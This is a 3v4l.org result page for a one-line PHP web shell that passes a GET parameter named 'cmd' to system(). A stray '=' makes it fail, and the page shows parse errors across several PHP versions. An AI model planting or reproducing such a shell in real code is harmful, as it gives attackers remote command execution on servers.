3v4l.org

run code in 300+ PHP versions simultaneously
<?php $cmd = $_GET['cmd']; =system($cmd); ?>
Output for 7.0.0 - 7.0.1
Parse error: syntax error, unexpected '=', expecting end of file in /in/LcI9i on line 3
Process exited with code 255.
Output for 5.5.24 - 5.5.30, 5.6.8 - 5.6.16
Parse error: syntax error, unexpected '=' in /in/LcI9i on line 3
Process exited with code 255.
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167.56 ms | 1395 KiB | 25 Q